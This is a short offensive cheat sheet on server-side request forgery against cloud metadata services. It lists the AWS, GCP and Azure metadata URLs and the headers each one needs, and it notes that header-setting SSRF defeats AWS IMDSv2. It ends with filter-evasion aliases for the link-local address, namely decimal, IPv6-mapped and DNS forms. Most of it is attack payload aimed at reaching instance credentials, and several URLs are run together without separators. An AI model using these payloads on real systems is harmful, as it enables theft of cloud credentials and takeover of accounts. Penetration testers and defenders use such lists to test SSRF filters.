Cloud metadata SSRF
You already have a server-side fetch. These are the destinations and the header gadgets for IMDS.
Tags: ssrf, cloud, aws, gcp, azure
Techniques
AWS IMDS
v1 is a GET. v2 needs PUT /latest/api/token then a header. SSRF that can set headers still wins.
http://169.254.169.254/latest/meta-data/http://169.254.169.254/latest/api/token
GCP
Metadata-Flavor: Google header required. Same story: SSRF with custom headers.
http://metadata.google.internal/computeMetadata/v1/http://169.254.169.254/computeMetadata/v1/
Azure
Metadata: true header. Instance metadata then management API if a managed identity exists.
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Aliases that filters miss
Decimal, IPv6, DNS to the link-local, redirected hops.
http://2852039166/http://[::ffff:a9fe:a9fe]/http://metadata.nicob.net/